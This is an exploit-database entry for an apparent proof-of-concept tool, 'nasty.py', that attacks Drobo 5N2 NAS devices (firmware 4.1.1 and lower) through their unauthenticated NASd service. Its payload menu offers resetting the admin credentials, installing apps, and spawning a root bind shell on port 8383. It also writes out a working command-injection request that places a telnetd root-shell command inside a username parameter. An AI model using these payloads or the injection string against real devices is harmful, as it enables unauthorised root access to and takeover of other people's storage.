# Exploit Title: Drobo 5N2 4.1.1 - Remote Command Injection
# Date: 2020-03-12
# Exploit Author: Rick Ramgattie, Ian Sindermann
# Vendor Homepage: https://www.drobo.com/
# Version: 4.1.1 and lower.
# CVE: CVE-2018-14709, CVE-2018-14701
###
#!/usr/bin/env python3
# nasty.py - A proof-of-concept utility for (maliciously) interacting with the Drobo NASd service.
# This utility leverages the lack of any real authentication mechanism to perform arbitrary actions.
# These actions include:
# - Getting device status.
# - Installing applications.
# - Resetting admin credentials.
# - Popping root shells.
# - Turning on party mode.
# This set of exploits is known to affect the Drobo 5N2, firmware version 4.1.1 and lower.
# As of 2020-03-12, newer firmware versions appear to be vulnerable as well, but this has not been verified.
# Most of the Drobo product line also appears to be vulnerable. Again, this has not been verified.
# These vulnerabilities were disclosed to the manufacturer on 2018-07-10.
# More vulnerabilities for this device may be found here: https://blog.securityevaluators.com/4f1d885df7fc

PAYLOADS
daccess - Installs DroboAccess on the target device. At the time of writing,
DroboAccess has numerous unauthenticated command injection
vulnerabilities. Try the following:
GET /DroboAccess/delete_user?username=test';/usr/sbin/telnetd -l /bin/sh -p 8383
- A long delay and response of "<Error>0</Error>" is expected.
dropbear - Installs dropbear on the target device.
- A response of "<Error>0</Error>" is expected.
getadmin - Returns the target's current (redacted) admin configuration.
gettemp - Returns the target's system info (temperature and uptime).
getnet - Returns the target's network info.
partyon - Enables "party mode" on the target. This will cause the target
device's lights to blink for 15 minutes.
partyoff - Prematurely disables "party mode".
popit - Exploits CVE-2019-6801 to spawn a root bind shell on port 8383.
- A response of "<Error>1</Error>" is expected.
restart - Restarts the target device.
setadmin - Sets administrative options on the target.
- Username: admin
- Password: ono
- Apps enabled: yes
stdin - Reads data from STDIN and sends it as a command.
